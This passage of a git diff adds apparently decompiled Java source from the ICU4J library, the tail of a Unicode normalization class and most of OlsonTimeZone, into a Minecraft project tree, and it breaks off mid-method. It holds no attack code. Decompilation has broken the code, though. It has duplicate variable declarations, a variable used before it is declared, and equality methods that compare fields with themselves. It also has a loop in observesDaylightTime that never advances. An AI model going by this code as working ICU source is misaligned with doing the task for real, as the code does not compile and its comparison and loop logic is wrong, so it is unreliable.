+          }
+          
+          compositionsList = -1;
+          
+
+
+          continue;
+        }
+      }
+      
+
+      prevCC = cc;
+      if (p == sb.length()) {
+        break;
+      }
+      
+
+      if (cc == 0)
+      {
+        if ((compositionsList = getCompositionsListForDecompYes(norm16)) >= 0)
+        {
+          if (c <= 65535) {
+            starterIsSupplementary = false;
+            starter = p - 1;
+          } else {
+            starterIsSupplementary = true;
+            starter = p - 2;
+          }
+        }
+      } else if (onlyContiguous)
+      {
+        compositionsList = -1;
+      }
+    }
+    buffer.flush();
+  }
+  
+  public int composePair(int a, int b) {
+    int norm16 = getNorm16(a);
+    
+    if (isInert(norm16))
+      return -1;
+    int list; if (norm16 < minYesNoMappingsOnly) {
+      if (isJamoL(norm16)) {
+        b -= 4449;
+        if ((0 <= b) && (b < 21)) {
+          return 44032 + ((a - 4352) * 21 + b) * 28;
+        }
+        
+
+
+        return -1;
+      }
+      if (isHangul(norm16)) {
+        b -= 4519;
+        if ((Hangul.isHangulWithoutJamoT((char)a)) && (0 < b) && (b < 28)) {
+          return a + b;
+        }
+        return -1;
+      }
+      
+
+      int list = norm16;
+      if (norm16 > minYesNo) {
+        list += '\001' + (extraData.charAt(list) & 0x1F);
+      }
+      
+
+
+      list += 65024 - minMaybeYes;
+    } else {
+      if ((norm16 < minMaybeYes) || (65024 <= norm16)) {
+        return -1;
+      }
+      list = norm16 - minMaybeYes;
+    }
+    if ((b < 0) || (1114111 < b)) {
+      return -1;
+    }
+    return combine(maybeYesCompositions, list, b) >> 1;
+  }
+  
+
+
+
+
+
+  private boolean hasCompBoundaryBefore(int c, int norm16)
+  {
+    for (;;)
+    {
+      if (isCompYesAndZeroCC(norm16))
+        return true;
+      if (isMaybeOrNonZeroCC(norm16))
+        return false;
+      if (!isDecompNoAlgorithmic(norm16)) break;
+      c = mapAlgorithmic(c, norm16);
+      norm16 = getNorm16(c);
+    }
+    
+    int firstUnit = extraData.charAt(norm16);
+    if ((firstUnit & 0x1F) == 0) {
+      return false;
+    }
+    if (((firstUnit & 0x80) != 0) && ((extraData.charAt(norm16 - 1) & 0xFF00) != 0)) {
+      return false;
+    }
+    return isCompYesAndZeroCC(getNorm16(Character.codePointAt(extraData, norm16 + 1)));
+  }
+  
+  private int findPreviousCompBoundary(CharSequence s, int p)
+  {
+    while (p > 0) {
+      int c = Character.codePointBefore(s, p);
+      p -= Character.charCount(c);
+      if (hasCompBoundaryBefore(c)) {
+        break;
+      }
+    }
+    
+
+    return p;
+  }
+  
+  private int findNextCompBoundary(CharSequence s, int p, int limit) { while (p < limit) {
+      int c = Character.codePointAt(s, p);
+      int norm16 = normTrie.get(c);
+      if (hasCompBoundaryBefore(c, norm16)) {
+        break;
+      }
+      p += Character.charCount(c);
+    }
+    return p;
+  }
+  
+  private int findPreviousFCDBoundary(CharSequence s, int p) {
+    while (p > 0) {
+      int c = Character.codePointBefore(s, p);
+      p -= Character.charCount(c);
+      if ((c < 768) || (getFCD16(c) <= 255)) {
+        break;
+      }
+    }
+    return p;
+  }
+  
+  private int findNextFCDBoundary(CharSequence s, int p, int limit) { while (p < limit) {
+      int c = Character.codePointAt(s, p);
+      if ((c < 768) || (getFCD16(c) <= 255)) {
+        break;
+      }
+      p += Character.charCount(c);
+    }
+    return p;
+  }
+  
+  private void addToStartSet(Trie2Writable newData, int origin, int decompLead) {
+    int canonValue = newData.get(decompLead);
+    if (((canonValue & 0x3FFFFF) == 0) && (origin != 0))
+    {
+
+      newData.set(decompLead, canonValue | origin);
+    }
+    else {
+      UnicodeSet set;
+      if ((canonValue & 0x200000) == 0) {
+        int firstOrigin = canonValue & 0x1FFFFF;
+        canonValue = canonValue & 0xFFE00000 | 0x200000 | canonStartSets.size();
+        newData.set(decompLead, canonValue);
+        UnicodeSet set; canonStartSets.add(set = new UnicodeSet());
+        if (firstOrigin != 0) {
+          set.add(firstOrigin);
+        }
+      } else {
+        set = (UnicodeSet)canonStartSets.get(canonValue & 0x1FFFFF);
+      }
+      set.add(origin);
+    }
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/impl/OlsonTimeZone.java b/src/minecraft/com/ibm/icu/impl/OlsonTimeZone.java
new file mode 100644
index 0000000..5f53a59
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/OlsonTimeZone.java
@@ -0,0 +1,1298 @@
+package com.ibm.icu.impl;
+
+import com.ibm.icu.util.AnnualTimeZoneRule;
+import com.ibm.icu.util.BasicTimeZone;
+import com.ibm.icu.util.DateTimeRule;
+import com.ibm.icu.util.InitialTimeZoneRule;
+import com.ibm.icu.util.SimpleTimeZone;
+import com.ibm.icu.util.TimeArrayTimeZoneRule;
+import com.ibm.icu.util.TimeZone;
+import com.ibm.icu.util.TimeZoneRule;
+import com.ibm.icu.util.TimeZoneTransition;
+import com.ibm.icu.util.UResourceBundle;
+import java.io.IOException;
+import java.io.ObjectInputStream;
+import java.io.PrintStream;
+import java.util.Arrays;
+import java.util.Date;
+import java.util.MissingResourceException;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class OlsonTimeZone
+  extends BasicTimeZone
+{
+  static final long serialVersionUID = -6281977362477515376L;
+  private int transitionCount;
+  private int typeCount;
+  private long[] transitionTimes64;
+  private int[] typeOffsets;
+  private byte[] typeMapData;
+  
+  public int getOffset(int era, int year, int month, int day, int dayOfWeek, int milliseconds)
+  {
+    if ((month < 0) || (month > 11)) {
+      throw new IllegalArgumentException("Month is not in the legal range: " + month);
+    }
+    return getOffset(era, year, month, day, dayOfWeek, milliseconds, Grego.monthLength(year, month));
+  }
+  
+
+
+
+
+  public int getOffset(int era, int year, int month, int dom, int dow, int millis, int monthLength)
+  {
+    if (((era != 1) && (era != 0)) || (month < 0) || (month > 11) || (dom < 1) || (dom > monthLength) || (dow < 1) || (dow > 7) || (millis < 0) || (millis >= 86400000) || (monthLength < 28) || (monthLength > 31))
+    {
+
+
+
+
+
+
+
+
+
+      throw new IllegalArgumentException();
+    }
+    
+    if (era == 0) {
+      year = -year;
+    }
+    
+    if ((finalZone != null) && (year >= finalStartYear)) {
+      return finalZone.getOffset(era, year, month, dom, dow, millis);
+    }
+    
+
+    long time = Grego.fieldsToDay(year, month, dom) * 86400000L + millis;
+    
+    int[] offsets = new int[2];
+    getHistoricalOffset(time, true, 3, 1, offsets);
+    return offsets[0] + offsets[1];
+  }
+  
+
+
+
+  public void setRawOffset(int offsetMillis)
+  {
+    if (isFrozen()) {
+      throw new UnsupportedOperationException("Attempt to modify a frozen OlsonTimeZone instance.");
+    }
+    
+    if (getRawOffset() == offsetMillis) {
+      return;
+    }
+    long current = System.currentTimeMillis();
+    
+    if (current < finalStartMillis) {
+      SimpleTimeZone stz = new SimpleTimeZone(offsetMillis, getID());
+      
+      boolean bDst = useDaylightTime();
+      if (bDst) {
+        TimeZoneRule[] currentRules = getSimpleTimeZoneRulesNear(current);
+        if (currentRules.length != 3)
+        {
+
+
+
+          TimeZoneTransition tzt = getPreviousTransition(current, false);
+          if (tzt != null) {
+            currentRules = getSimpleTimeZoneRulesNear(tzt.getTime() - 1L);
+          }
+        }
+        if ((currentRules.length == 3) && ((currentRules[1] instanceof AnnualTimeZoneRule)) && ((currentRules[2] instanceof AnnualTimeZoneRule)))
+        {
+
+
+          AnnualTimeZoneRule r1 = (AnnualTimeZoneRule)currentRules[1];
+          AnnualTimeZoneRule r2 = (AnnualTimeZoneRule)currentRules[2];
+          
+          int offset1 = r1.getRawOffset() + r1.getDSTSavings();
+          int offset2 = r2.getRawOffset() + r2.getDSTSavings();
+          int sav;
+          DateTimeRule start; DateTimeRule end; int sav; if (offset1 > offset2) {
+            DateTimeRule start = r1.getRule();
+            DateTimeRule end = r2.getRule();
+            sav = offset1 - offset2;
+          } else {
+            start = r2.getRule();
+            end = r1.getRule();
+            sav = offset2 - offset1;
+          }
+          
+          stz.setStartRule(start.getRuleMonth(), start.getRuleWeekInMonth(), start.getRuleDayOfWeek(), start.getRuleMillisInDay());
+          
+          stz.setEndRule(end.getRuleMonth(), end.getRuleWeekInMonth(), end.getRuleDayOfWeek(), end.getRuleMillisInDay());
+          
+
+          stz.setDSTSavings(sav);
+
+
+        }
+        else
+        {
+
+
+          stz.setStartRule(0, 1, 0);
+          stz.setEndRule(11, 31, 86399999);
+        }
+      }
+      
+      int[] fields = Grego.timeToFields(current, null);
+      
+      finalStartYear = fields[0];
+      finalStartMillis = Grego.fieldsToDay(fields[0], 0, 1);
+      
+      if (bDst)
+      {
+
+        stz.setStartYear(finalStartYear);
+      }
+      
+      finalZone = stz;
+    }
+    else {
+      finalZone.setRawOffset(offsetMillis);
+    }
+    
+    transitionRulesInitialized = false;
+  }
+  
+  public Object clone()
+  {
+    if (isFrozen()) {
+      return this;
+    }
+    return cloneAsThawed();
+  }
+  
+
+
+
+  public void getOffset(long date, boolean local, int[] offsets)
+  {
+    if ((finalZone != null) && (date >= finalStartMillis)) {
+      finalZone.getOffset(date, local, offsets);
+    } else {
+      getHistoricalOffset(date, local, 4, 12, offsets);
+    }
+  }
+  
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public void getOffsetFromLocal(long date, int nonExistingTimeOpt, int duplicatedTimeOpt, int[] offsets)
+  {
+    if ((finalZone != null) && (date >= finalStartMillis)) {
+      finalZone.getOffsetFromLocal(date, nonExistingTimeOpt, duplicatedTimeOpt, offsets);
+    } else {
+      getHistoricalOffset(date, true, nonExistingTimeOpt, duplicatedTimeOpt, offsets);
+    }
+  }
+  
+
+
+
+  public int getRawOffset()
+  {
+    int[] ret = new int[2];
+    getOffset(System.currentTimeMillis(), false, ret);
+    return ret[0];
+  }
+  
+
+
+
+
+
+
+
+
+  public boolean useDaylightTime()
+  {
+    long current = System.currentTimeMillis();
+    
+    if ((finalZone != null) && (current >= finalStartMillis)) {
+      return (finalZone != null) && (finalZone.useDaylightTime());
+    }
+    
+    int[] fields = Grego.timeToFields(current, null);
+    
+
+    long start = Grego.fieldsToDay(fields[0], 0, 1) * 86400L;
+    long limit = Grego.fieldsToDay(fields[0] + 1, 0, 1) * 86400L;
+    
+
+
+    for (int i = 0; i < transitionCount; i++) {
+      if (transitionTimes64[i] >= limit) {
+        break;
+      }
+      if (((transitionTimes64[i] >= start) && (dstOffsetAt(i) != 0)) || ((transitionTimes64[i] > start) && (i > 0) && (dstOffsetAt(i - 1) != 0)))
+      {
+        return true;
+      }
+    }
+    return false;
+  }
+  
+
+
+
+  public boolean observesDaylightTime()
+  {
+    long current = System.currentTimeMillis();
+    
+    if (finalZone != null) {
+      if (finalZone.useDaylightTime())
+        return true;
+      if (current >= finalStartMillis) {
+        return false;
+      }
+    }
+    
+
+    long currentSec = Grego.floorDivide(current, 1000L);
+    int trsIdx = transitionCount - 1;
+    if (dstOffsetAt(trsIdx) != 0) {
+      return true;
+    }
+    while ((trsIdx >= 0) && 
+      (transitionTimes64[trsIdx] > currentSec))
+    {
+
+      if (dstOffsetAt(trsIdx - 1) != 0) {
+        return true;
+      }
+    }
+    return false;
+  }
+  
+
+
+
+
+  public int getDSTSavings()
+  {
+    if (finalZone != null) {
+      return finalZone.getDSTSavings();
+    }
+    return super.getDSTSavings();
+  }
+  
+
+
+
+  public boolean inDaylightTime(Date date)
+  {
+    int[] temp = new int[2];
+    getOffset(date.getTime(), false, temp);
+    return temp[1] != 0;
+  }
+  
+
+
+
+  public boolean hasSameRules(TimeZone other)
+  {
+    if (this == other) {
+      return true;
+    }
+    
+
+    if (!super.hasSameRules(other)) {
+      return false;
+    }
+    
+    if (!(other instanceof OlsonTimeZone))
+    {
+      return false;
+    }
+    
+
+    OlsonTimeZone o = (OlsonTimeZone)other;
+    if (finalZone == null) {
+      if (finalZone != null) {
+        return false;
+      }
+    }
+    else if ((finalZone == null) || (finalStartYear != finalStartYear) || (!finalZone.hasSameRules(finalZone)))
+    {
+
+      return false;
+    }
+    
+
+
+
+    if ((transitionCount != transitionCount) || (!Arrays.equals(transitionTimes64, transitionTimes64)) || (typeCount != typeCount) || (!Arrays.equals(typeMapData, typeMapData)) || (!Arrays.equals(typeOffsets, typeOffsets)))
+    {
+
+
+
+      return false;
+    }
+    return true;
+  }
+  
+
+
+  public String getCanonicalID()
+  {
+    if (canonicalID == null) {
+      synchronized (this) {
+        if (canonicalID == null) {
+          canonicalID = getCanonicalID(getID());
+          
+          assert (canonicalID != null);
+          if (canonicalID == null)
+          {
+            canonicalID = getID();
+          }
+        }
+      }
+    }
+    return canonicalID;
+  }
+  
+
+
+
+  private void constructEmpty()
+  {
+    transitionCount = 0;
+    transitionTimes64 = null;
+    typeMapData = null;
+    
+    typeCount = 1;
+    typeOffsets = new int[] { 0, 0 };
+    finalZone = null;
+    finalStartYear = Integer.MAX_VALUE;
+    finalStartMillis = Double.MAX_VALUE;
+    
+    transitionRulesInitialized = false;
+  }
+  
+
+
+
+
+
+
+  public OlsonTimeZone(UResourceBundle top, UResourceBundle res, String id)
+  {
+    super(id);
+    construct(top, res);
+  }
+  
+  private void construct(UResourceBundle top, UResourceBundle res)
+  {
+    if ((top == null) || (res == null)) {
+      throw new IllegalArgumentException();
+    }
+    if (DEBUG) { System.out.println("OlsonTimeZone(" + res.getKey() + ")");
+    }
+    int[] transPost32;
+    int[] trans32;
+    int[] transPre32 = trans32 = transPost32 = null;
+    
+    transitionCount = 0;
+    
+    try
+    {
+      r = res.get("transPre32");
+      transPre32 = r.getIntVector();
+      if (transPre32.length % 2 != 0)
+      {
+        throw new IllegalArgumentException("Invalid Format");
+      }
+      transitionCount += transPre32.length / 2;
+    }
+    catch (MissingResourceException e) {}
+    
+
+    try
+    {
+      r = res.get("trans");
+      trans32 = r.getIntVector();
+      transitionCount += trans32.length;
+    }
+    catch (MissingResourceException e) {}
+    
+
+    try
+    {
+      r = res.get("transPost32");
+      transPost32 = r.getIntVector();
+      if (transPost32.length % 2 != 0)
+      {
+        throw new IllegalArgumentException("Invalid Format");
+      }
+      transitionCount += transPost32.length / 2;
+    }
+    catch (MissingResourceException e) {}
+    
+
+    if (transitionCount > 0) {
+      transitionTimes64 = new long[transitionCount];
+      int idx = 0;
+      if (transPre32 != null) {
+        for (int i = 0; i < transPre32.length / 2; idx++) {
+          transitionTimes64[idx] = ((transPre32[(i * 2)] & 0xFFFFFFFF) << 32 | transPre32[(i * 2 + 1)] & 0xFFFFFFFF);i++;
+        }
+      }
+      
+
+      if (trans32 != null) {
+        for (int i = 0; i < trans32.length; idx++) {
+          transitionTimes64[idx] = trans32[i];i++;
+        }
+      }
+      if (transPost32 != null) {
+        for (int i = 0; i < transPost32.length / 2; idx++) {
+          transitionTimes64[idx] = ((transPost32[(i * 2)] & 0xFFFFFFFF) << 32 | transPost32[(i * 2 + 1)] & 0xFFFFFFFF);i++;
+        }
+      }
+    }
+    else
+    {
+      transitionTimes64 = null;
+    }
+    
+
+    UResourceBundle r = res.get("typeOffsets");
+    typeOffsets = r.getIntVector();
+    if ((typeOffsets.length < 2) || (typeOffsets.length > 32766) || (typeOffsets.length % 2 != 0)) {
+      throw new IllegalArgumentException("Invalid Format");
+    }
+    typeCount = (typeOffsets.length / 2);
+    
+
+    if (transitionCount > 0) {
+      r = res.get("typeMap");
+      typeMapData = r.getBinary(null);
+      if (typeMapData.length != transitionCount) {
+        throw new IllegalArgumentException("Invalid Format");
+      }
+    } else {
+      typeMapData = null;
+    }
+    
+
+    finalZone = null;
+    finalStartYear = Integer.MAX_VALUE;
+    finalStartMillis = Double.MAX_VALUE;
+    
+    String ruleID = null;
+    try {
+      ruleID = res.getString("finalRule");
+      
+      r = res.get("finalRaw");
+      int ruleRaw = r.getInt() * 1000;
+      r = loadRule(top, ruleID);
+      int[] ruleData = r.getIntVector();
+      
+      if ((ruleData == null) || (ruleData.length != 11)) {
+        throw new IllegalArgumentException("Invalid Format");
+      }
+      finalZone = new SimpleTimeZone(ruleRaw, "", ruleData[0], ruleData[1], ruleData[2], ruleData[3] * 1000, ruleData[4], ruleData[5], ruleData[6], ruleData[7], ruleData[8] * 1000, ruleData[9], ruleData[10] * 1000);
+      
+
+
+
+
+
+
+
+      r = res.get("finalYear");
+      finalStartYear = r.getInt();
+      
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+      finalStartMillis = (Grego.fieldsToDay(finalStartYear, 0, 1) * 86400000L);
+    } catch (MissingResourceException e) {
+      if (ruleID != null)
+      {
+
+        throw new IllegalArgumentException("Invalid Format");
+      }
+    }
+  }
+  
+  public OlsonTimeZone(String id)
+  {
+    super(id);
+    UResourceBundle top = UResourceBundle.getBundleInstance("com/ibm/icu/impl/data/icudt51b", "zoneinfo64", ICUResourceBundle.ICU_DATA_CLASS_LOADER);
+    
+    UResourceBundle res = ZoneMeta.openOlsonResource(top, id);
+    construct(top, res);
+    if (finalZone != null) {
+      finalZone.setID(id);
+    }
+  }
+  
+
+
+
+  public void setID(String id)
+  {
+    if (isFrozen()) {
+      throw new UnsupportedOperationException("Attempt to modify a frozen OlsonTimeZone instance.");
+    }
+    
+
+    if (canonicalID == null) {
+      canonicalID = getCanonicalID(getID());
+      assert (canonicalID != null);
+      if (canonicalID == null)
+      {
+        canonicalID = getID();
+      }
+    }
+    
+    if (finalZone != null) {
+      finalZone.setID(id);
+    }
+    super.setID(id);
+    transitionRulesInitialized = false;
+  }
+  
+  private void getHistoricalOffset(long date, boolean local, int NonExistingTimeOpt, int DuplicatedTimeOpt, int[] offsets)
+  {
+    if (transitionCount != 0) {
+      long sec = Grego.floorDivide(date, 1000L);
+      if ((!local) && (sec < transitionTimes64[0]))
+      {
+        offsets[0] = (initialRawOffset() * 1000);
+        offsets[1] = (initialDstOffset() * 1000);
+
+      }
+      else
+      {
+        for (int transIdx = transitionCount - 1; transIdx >= 0; transIdx--) {
+          long transition = transitionTimes64[transIdx];
+          if (local) {
+            int offsetBefore = zoneOffsetAt(transIdx - 1);
+            boolean dstBefore = dstOffsetAt(transIdx - 1) != 0;
+            
+            int offsetAfter = zoneOffsetAt(transIdx);
+            boolean dstAfter = dstOffsetAt(transIdx) != 0;
+            
+            boolean dstToStd = (dstBefore) && (!dstAfter);
+            boolean stdToDst = (!dstBefore) && (dstAfter);
+            
+            if (offsetAfter - offsetBefore >= 0)
+            {
+              if ((((NonExistingTimeOpt & 0x3) == 1) && (dstToStd)) || (((NonExistingTimeOpt & 0x3) == 3) && (stdToDst)))
+              {
+                transition += offsetBefore;
+              } else if ((((NonExistingTimeOpt & 0x3) == 1) && (stdToDst)) || (((NonExistingTimeOpt & 0x3) == 3) && (dstToStd)))
+              {
+                transition += offsetAfter;
+              } else if ((NonExistingTimeOpt & 0xC) == 12) {
+                transition += offsetBefore;
+              }
+              else
+              {
+                transition += offsetAfter;
+              }
+              
+            }
+            else if ((((DuplicatedTimeOpt & 0x3) == 1) && (dstToStd)) || (((DuplicatedTimeOpt & 0x3) == 3) && (stdToDst)))
+            {
+              transition += offsetAfter;
+            } else if ((((DuplicatedTimeOpt & 0x3) == 1) && (stdToDst)) || (((DuplicatedTimeOpt & 0x3) == 3) && (dstToStd)))
+            {
+              transition += offsetBefore;
+            } else if ((DuplicatedTimeOpt & 0xC) == 4) {
+              transition += offsetBefore;
+            }
+            else
+            {
+              transition += offsetAfter;
+            }
+          }
+          
+          if (sec >= transition) {
+            break;
+          }
+        }
+        
+        offsets[0] = (rawOffsetAt(transIdx) * 1000);
+        offsets[1] = (dstOffsetAt(transIdx) * 1000);
+      }
+    }
+    else {
+      offsets[0] = (initialRawOffset() * 1000);
+      offsets[1] = (initialDstOffset() * 1000);
+    }
+  }
+  
+  private int getInt(byte val) {
+    return val & 0xFF;
+  }
+  
+
+
+
+  private int zoneOffsetAt(int transIdx)
+  {
+    int typeIdx = transIdx >= 0 ? getInt(typeMapData[transIdx]) * 2 : 0;
+    return typeOffsets[typeIdx] + typeOffsets[(typeIdx + 1)];
+  }
+  
+  private int rawOffsetAt(int transIdx) {
+    int typeIdx = transIdx >= 0 ? getInt(typeMapData[transIdx]) * 2 : 0;
+    return typeOffsets[typeIdx];
+  }
+  
+  private int dstOffsetAt(int transIdx) {
+    int typeIdx = transIdx >= 0 ? getInt(typeMapData[transIdx]) * 2 : 0;
+    return typeOffsets[(typeIdx + 1)];
+  }
+  
+  private int initialRawOffset() {
+    return typeOffsets[0];
+  }
+  
+  private int initialDstOffset() {
+    return typeOffsets[1];
+  }
+  
+
+  public String toString()
+  {
+    StringBuilder buf = new StringBuilder();
+    buf.append(super.toString());
+    buf.append('[');
+    buf.append("transitionCount=" + transitionCount);
+    buf.append(",typeCount=" + typeCount);
+    buf.append(",transitionTimes=");
+    if (transitionTimes64 != null) {
+      buf.append('[');
+      for (int i = 0; i < transitionTimes64.length; i++) {
+        if (i > 0) {
+          buf.append(',');
+        }
+        buf.append(Long.toString(transitionTimes64[i]));
+      }
+      buf.append(']');
+    } else {
+      buf.append("null");
+    }
+    buf.append(",typeOffsets=");
+    if (typeOffsets != null) {
+      buf.append('[');
+      for (int i = 0; i < typeOffsets.length; i++) {
+        if (i > 0) {
+          buf.append(',');
+        }
+        buf.append(Integer.toString(typeOffsets[i]));
+      }
+      buf.append(']');
+    } else {
+      buf.append("null");
+    }
+    buf.append(",typeMapData=");
+    if (typeMapData != null) {
+      buf.append('[');
+      for (int i = 0; i < typeMapData.length; i++) {
+        if (i > 0) {
+          buf.append(',');
+        }
+        buf.append(Byte.toString(typeMapData[i]));
+      }
+    } else {
+      buf.append("null");
+    }
+    buf.append(",finalStartYear=" + finalStartYear);
+    buf.append(",finalStartMillis=" + finalStartMillis);
+    buf.append(",finalZone=" + finalZone);
+    buf.append(']');
+    
+    return buf.toString();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private int finalStartYear = Integer.MAX_VALUE;
+  
+
+
+
+  private double finalStartMillis = Double.MAX_VALUE;
+  
+
+
+
+
+  private SimpleTimeZone finalZone = null;
+  
+
+
+
+
+  private volatile String canonicalID = null;
+  
+  private static final String ZONEINFORES = "zoneinfo64";
+  
+  private static final boolean DEBUG = ICUDebug.enabled("olson");
+  private static final int SECONDS_PER_DAY = 86400;
+  private transient InitialTimeZoneRule initialRule;
+  
+  private static UResourceBundle loadRule(UResourceBundle top, String ruleid) { UResourceBundle r = top.get("Rules");
+    r = r.get(ruleid);
+    return r;
+  }
+  
+  public boolean equals(Object obj)
+  {
+    if (!super.equals(obj)) { return false;
+    }
+    OlsonTimeZone z = (OlsonTimeZone)obj;
+    
+    return (Utility.arrayEquals(typeMapData, typeMapData)) || ((finalStartYear == finalStartYear) && (((finalZone == null) && (finalZone == null)) || ((finalZone != null) && (finalZone != null) && (finalZone.equals(finalZone)) && (transitionCount == transitionCount) && (typeCount == typeCount) && (Utility.arrayEquals(transitionTimes64, transitionTimes64)) && (Utility.arrayEquals(typeOffsets, typeOffsets)) && (Utility.arrayEquals(typeMapData, typeMapData)))));
+  }
+  
+
+  private transient TimeZoneTransition firstTZTransition;
+  
+  private transient int firstTZTransitionIdx;
+  
+  private transient TimeZoneTransition firstFinalTZTransition;
+  
+  private transient TimeArrayTimeZoneRule[] historicRules;
+  
+  private transient SimpleTimeZone finalZoneWithStartYear;
+  
+  private transient boolean transitionRulesInitialized;
+  
+  private static final int currentSerialVersion = 1;
+  public int hashCode()
+  {
+    int ret = (int)(finalStartYear ^ (finalStartYear >>> 4) + transitionCount ^ (transitionCount >>> 6) + typeCount ^ (typeCount >>> 8) + Double.doubleToLongBits(finalStartMillis) + (finalZone == null ? 0 : finalZone.hashCode()) + super.hashCode());
+    
+
+
+
+
+    if (transitionTimes64 != null) {
+      for (int i = 0; i < transitionTimes64.length; i++) {
+        ret = (int)(ret + (transitionTimes64[i] ^ transitionTimes64[i] >>> 8));
+      }
+    }
+    for (int i = 0; i < typeOffsets.length; i++) {
+      ret += (typeOffsets[i] ^ typeOffsets[i] >>> 8);
+    }
+    if (typeMapData != null) {
+      for (int i = 0; i < typeMapData.length; i++) {
+        ret += (typeMapData[i] & 0xFF);
+      }
+    }
+    return ret;
+  }
+  
+
+
+
+
+
+
+
+  public TimeZoneTransition getNextTransition(long base, boolean inclusive)
+  {
+    initTransitionRules();
+    
+    if (finalZone != null) {
+      if ((inclusive) && (base == firstFinalTZTransition.getTime()))
+        return firstFinalTZTransition;
+      if (base >= firstFinalTZTransition.getTime()) {
+        if (finalZone.useDaylightTime())
+        {
+          return finalZoneWithStartYear.getNextTransition(base, inclusive);
+        }
+        
+        return null;
+      }
+    }
+    
+    if (historicRules != null)
+    {
+      for (int ttidx = transitionCount - 1; 
+          ttidx >= firstTZTransitionIdx; ttidx--) {
+        long t = transitionTimes64[ttidx] * 1000L;
+        if ((base > t) || ((!inclusive) && (base == t))) {
+          break;
+        }
+      }
+      if (ttidx == transitionCount - 1)
+        return firstFinalTZTransition;
+      if (ttidx < firstTZTransitionIdx) {
+        return firstTZTransition;
+      }
+      
+      TimeZoneRule to = historicRules[getInt(typeMapData[(ttidx + 1)])];
+      TimeZoneRule from = historicRules[getInt(typeMapData[ttidx])];
+      long startTime = transitionTimes64[(ttidx + 1)] * 1000L;
+      
+
+      if ((from.getName().equals(to.getName())) && (from.getRawOffset() == to.getRawOffset()) && (from.getDSTSavings() == to.getDSTSavings()))
+      {
+        return getNextTransition(startTime, false);
+      }
+      
+      return new TimeZoneTransition(startTime, from, to);
+    }
+    
+    return null;
+  }
+  
+
+
+
+  public TimeZoneTransition getPreviousTransition(long base, boolean inclusive)
+  {
+    initTransitionRules();
+    
+    if (finalZone != null) {
+      if ((inclusive) && (base == firstFinalTZTransition.getTime()))
+        return firstFinalTZTransition;
+      if (base > firstFinalTZTransition.getTime()) {
+        if (finalZone.useDaylightTime())
+        {
+          return finalZoneWithStartYear.getPreviousTransition(base, inclusive);
+        }
+        return firstFinalTZTransition;
+      }
+    }
+    
+
+    if (historicRules != null)
+    {
+      for (int ttidx = transitionCount - 1; 
+          ttidx >= firstTZTransitionIdx; ttidx--) {
+        long t = transitionTimes64[ttidx] * 1000L;
+        if ((base > t) || ((inclusive) && (base == t))) {
+          break;
+        }
+      }
+      if (ttidx < firstTZTransitionIdx)
+      {
+        return null; }
+      if (ttidx == firstTZTransitionIdx) {
+        return firstTZTransition;
+      }
+      
+      TimeZoneRule to = historicRules[getInt(typeMapData[ttidx])];
+      TimeZoneRule from = historicRules[getInt(typeMapData[(ttidx - 1)])];
+      long startTime = transitionTimes64[ttidx] * 1000L;
+      
+
+      if ((from.getName().equals(to.getName())) && (from.getRawOffset() == to.getRawOffset()) && (from.getDSTSavings() == to.getDSTSavings()))
+      {
+        return getPreviousTransition(startTime, false);
+      }
+      
+      return new TimeZoneTransition(startTime, from, to);
+    }
+    
+    return null;
+  }
+  
+
+
+
+  public TimeZoneRule[] getTimeZoneRules()
+  {
+    initTransitionRules();
+    int size = 1;
+    if (historicRules != null)
+    {
+
+      for (int i = 0; i < historicRules.length; i++) {
+        if (historicRules[i] != null) {
+          size++;
+        }
+      }
+    }
+    if (finalZone != null) {
+      if (finalZone.useDaylightTime()) {
+        size += 2;
+      } else {
+        size++;
+      }
+    }
+    
+    TimeZoneRule[] rules = new TimeZoneRule[size];
+    int idx = 0;
+    rules[(idx++)] = initialRule;
+    
+    if (historicRules != null) {
+      for (int i = 0; i < historicRules.length; i++) {
+        if (historicRules[i] != null) {
+          rules[(idx++)] = historicRules[i];
+        }
+      }
+    }
+    
+    if (finalZone != null) {
+      if (finalZone.useDaylightTime()) {
+        TimeZoneRule[] stzr = finalZoneWithStartYear.getTimeZoneRules();
+        
+        rules[(idx++)] = stzr[1];
+        rules[(idx++)] = stzr[2];
+      }
+      else {
+        rules[(idx++)] = new TimeArrayTimeZoneRule(getID() + "(STD)", finalZone.getRawOffset(), 0, new long[] { finalStartMillis }, 2);
+      }
+    }
+    
+    return rules;
+  }
+  
+
+
+
+
+
+
+
+
+  private synchronized void initTransitionRules()
+  {
+    if (transitionRulesInitialized) {
+      return;
+    }
+    
+    initialRule = null;
+    firstTZTransition = null;
+    firstFinalTZTransition = null;
+    historicRules = null;
+    firstTZTransitionIdx = 0;
+    finalZoneWithStartYear = null;
+    
+    String stdName = getID() + "(STD)";
+    String dstName = getID() + "(DST)";
+    
+
+
+
+    int raw = initialRawOffset() * 1000;
+    int dst = initialDstOffset() * 1000;
+    initialRule = new InitialTimeZoneRule(dst == 0 ? stdName : dstName, raw, dst);
+    
+    if (transitionCount > 0)
+    {
+
+
+
+
+      for (int transitionIdx = 0; transitionIdx < transitionCount; transitionIdx++) {
+        if (getInt(typeMapData[transitionIdx]) != 0) {
+          break;
+        }
+        firstTZTransitionIdx += 1;
+      }
+      if (transitionIdx != transitionCount)
+      {
+
+
+        long[] times = new long[transitionCount];
+        for (int typeIdx = 0; typeIdx < typeCount; typeIdx++)
+        {
+          int nTimes = 0;
+          for (transitionIdx = firstTZTransitionIdx; transitionIdx < transitionCount; transitionIdx++) {
+            if (typeIdx == getInt(typeMapData[transitionIdx])) {
+              long tt = transitionTimes64[transitionIdx] * 1000L;
+              if (tt < finalStartMillis)
+              {
+                times[(nTimes++)] = tt;
+              }
+            }
+          }
+          if (nTimes > 0) {
+            long[] startTimes = new long[nTimes];
+            System.arraycopy(times, 0, startTimes, 0, nTimes);
+            
+            raw = typeOffsets[(typeIdx * 2)] * 1000;
+            dst = typeOffsets[(typeIdx * 2 + 1)] * 1000;
+            if (historicRules == null) {
